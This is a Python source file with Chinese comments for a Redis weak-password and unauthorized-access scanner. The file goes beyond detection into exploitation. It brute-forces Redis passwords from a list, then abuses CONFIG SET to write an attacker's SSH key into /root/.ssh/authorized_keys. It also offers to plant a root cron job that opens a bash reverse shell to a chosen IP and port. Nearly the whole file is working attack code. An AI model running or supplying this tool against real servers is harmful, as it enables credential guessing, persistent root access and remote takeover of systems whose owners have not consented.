#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Project : light-edit
@File : redis_scan.py
@Author : Yj
@Time : 2025/9/9
@脚本说明 : Redis 弱口令及未授权访问扫描模块
"""
import redis
import re
from typing import Optional


def is_valid_ip(ip: str) -> bool:
    """验证 IP 地址格式"""
    pattern = r"^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$"
    return bool(re.match(pattern, ip)) and all(0 <= int(x) <= 255 for x in ip.split("."))


def is_valid_port(port: str) -> bool:
    """验证端口号格式"""
    try:
        return 0 < int(port) <= 65535
    except ValueError:
        return False


def is_valid_public_key(key: str) -> bool:
    """简单验证公钥格式"""
    return key.strip().startswith("ssh-") and len(key.strip()) > 50


def scan_redis(host: str, port: int = 6379, password: Optional[str] = None, timeout: int = 5) -> None:
    """
    扫描 Redis 服务，检测弱口令和未授权访问漏洞
    """
    try:
        # 创建 Redis 客户端
        redis_client = redis.Redis(
            host=host,
            port=port,
            password=password,
            db=0,  # 默认使用 db 0，避免使用不存在的 db
            socket_timeout=3,
            socket_connect_timeout=timeout
        )

        # 测试连接
        if not redis_client.ping():
            print(f"[-] {host}:{port} 连接失败")
            return

        print(f"[+] {host}:{port} 连接成功，密码: {password or '无密码'}")

        # 检查是否可以执行 CONFIG 命令（未授权访问或弱口令）
        try:
            config = redis_client.config_get("dir")
            if not config:
                print(f"[-] {host}:{port} 无法执行 CONFIG 命令，可能是权限不足")
                return
        except redis.RedisError as e:
            print(f"[-] {host}:{port} CONFIG 命令执行失败: {e}")
            return

        test_dir = "/tmp"
        if redis_client.config_set("dir", test_dir) and redis_client.config_get("dir")["dir"] == test_dir:
            print(f"[+] {host}:{port} 存在未授权访问漏洞")
            print("可用漏洞利用方式：")
            print("1. 写入公钥到 authorized_keys")
            print("2. 写入定时任务反弹 Shell")
            option = input("请选择漏洞利用方式 (1/2，输入其他退出): ")

            if option == "1":
                # 公钥写入逻辑
                pub_key = input("请输入公钥 (以 ssh- 开头):\n").strip()
                if not is_valid_public_key(pub_key):
                    print("[-] 无效的公钥格式")
                    return

                ssh_dir = "/root/.ssh"
                try:
                    redis_client.config_set("dir", ssh_dir)
                    redis_client.config_set("dbfilename", "authorized_keys")
                    # 写入公钥，添加换行以符合 authorized_keys 格式
                    redis_client.set("key", f"\n\n{pub_key}\n\n")
                    if redis_client.save():
                        print(f"[+] {host}:{port} 公钥写入成功，可能已植入 authorized_keys")
                    else:
                        print(f"[-] {host}:{port} 公钥写入失败")
                except redis.RedisError as e:
                    print(f"[-] 公钥写入失败: {e}")

            elif option == "2":
                # 定时任务反弹 Shell 逻辑
                reverse_ip = input("请输入反弹 IP:\n").strip()
                reverse_port = input("请输入反弹端口:\n").strip()

                if not is_valid_ip(reverse_ip) or not is_valid_port(reverse_port):
                    print("[-] 无效的 IP 或端口")
                    return

                cron_dir = "/var/spool/cron"
                cron_content = f"\n\n*/1 * * * * bash -i >& /dev/tcp/{reverse_ip}/{reverse_port} 0>&1\n\n"
                try:
                    redis_client.config_set("dir", cron_dir)
                    redis_client.config_set("dbfilename", "root")
                    redis_client.set("cron", cron_content)
                    if redis_client.save():
                        print(f"[+] {host}:{port} 定时任务写入成功，可能已植入反弹 Shell")
                    else:
                        print(f"[-] {host}:{port} 定时任务写入失败")
                except redis.RedisError as e:
                    print(f"[-] 定时任务写入失败: {e}")
            else:
                print("[*] 退出漏洞利用")
        else:
            print(f"[-] {host}:{port} 未检测到未授权访问漏洞")
        redis_client.close()

    except redis.AuthenticationError:
        print(f"[-] {host}:{port} 密码错误: {password or '无密码'}")
    except redis.ConnectionError as e:
        print(f"[-] {host}:{port} 连接失败: {e}")
    except Exception as e:
        print(f"[-] {host}:{port} 发生错误: {e}")


def redis_run(host: str, port: int, passwords: list) -> None:
    """扫描指定主机的 Redis 弱口令及未授权访问"""
    try:
        # 尝试无密码连接
        scan_redis(host=host, port=port, password=None)
        # 尝试弱口令扫描
        for passwd in passwords:
            print(f"[*] 尝试密码: {passwd}")
            scan_redis(host=host, port=port, password=passwd)
    except Exception as e:
        print(f"[-] 发生错误: {e}")
